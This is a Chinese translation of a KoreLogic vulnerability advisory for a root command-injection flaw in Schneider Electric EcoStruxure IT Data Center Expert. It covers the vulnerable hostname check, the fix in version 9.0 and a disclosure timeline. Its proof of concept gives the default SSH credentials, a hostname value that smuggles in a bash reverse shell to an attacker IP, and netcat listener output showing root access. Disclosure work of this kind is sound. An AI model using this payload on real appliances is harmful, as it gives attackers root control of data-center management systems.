施耐德电气数据中心专家系统远程命令执行漏洞技术分析

本文详细分析了Schneider Electric EcoStruxure IT Data Center Expert v8.3及之前版本存在的远程命令执行漏洞,包含漏洞技术细节、PoC验证代码及修复方案,涉及输入验证不足和代码注入等安全缺陷。

KL-001-2025-009:施耐德电气EcoStruxure IT数据中心专家远程命令执行漏洞

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT Data Center Expert
  • 受影响版本:8.3及之前版本
  • 平台:CentOS
  • CWE分类:CWE-1286:输入语法正确性验证不当;CWE-94:代码生成控制不当(代码注入)
  • CVE ID:CVE-2025-50123

2. 漏洞描述

在执行数据中心专家(“DCE”)设备的配置过程中,对设备主机名参数的输入值未进行充分的净化处理。主机名变量可包含命令终止符及后续命令,这些命令将以root权限执行。

3. 技术描述

在驱动和控制设备基于SSH配置的.bcsetup脚本中,从用户接收的主机名值未得到充分净化。脚本虽会检查确保提供的hostname值包含(但不限于)有效主机名:

1
2
3
4
5
6
7
8
def checkHostnameFormat(hn):
    result = False
    try:
        hostname_check = re.compile('[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+')
        result = hostname_check.match(hn)
    except:
        result = False
    return result

但可通过此检查的主机名值仍可包含分号及后续操作系统命令。由于.bcsetup脚本以root权限运行,分号后的命令也会以root权限执行。该问题可能发生在设备尝试执行DNS解析时:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def resolveHostnameToIPAddr(new_hostname):
    global domain

    if ("" != domain):
        result_string = execOSCmd("host " + new_hostname)
        if (-1 == result_string.find("has address " + ipaddr)):
            return False
        else:
            return True

    return False

4. 缓解与修复建议

EcoStruxure IT Data Center Expert 9.0版本包含针对这些漏洞的修复程序,可通过施耐德电气客户服务中心获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

该漏洞由KoreLogic公司的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22:厂商确认收到提交
  • 2024-12-06:厂商确认报告漏洞
  • 2024-12-12:厂商请求与KoreLogic会议讨论修复时间线
  • 2024-12-18:双方同意将漏洞细节禁运至2025年7月产品更新9.0版
  • 2025-01-29:厂商提供状态更新
  • 2025-03-17:厂商提供包含修复的测试版
  • 2025-06-20:厂商通知披露日期为2025-07-08
  • 2025-07-08:厂商公开披露
  • 2025-07-09:KoreLogic公开披露

7. 概念验证

DCE设备: 使用默认凭据apcsetup/apcsetup通过SSH登录设备,将进入运行配置工具的受限shell。接受或设置配置直到出现设置主机名提示。当提示输入主机名时,提供以下值: "xyzzy.domain.com;bash -i >& /dev/tcp/192.168.2.1/18953 0>&1"

攻击机:

1
2
3
4
5
6
7
$ nc -v -l -p 18953 -s 192.168.2.1
Listening on 192.168.2.1 18953
Connection received on 192.168.2.90 35780
[root@xyzzy ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@xyzzy ~]#

本公告内容版权归KoreLogic, Inc.所有,采用知识共享署名-相同方式共享4.0国际许可协议授权

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计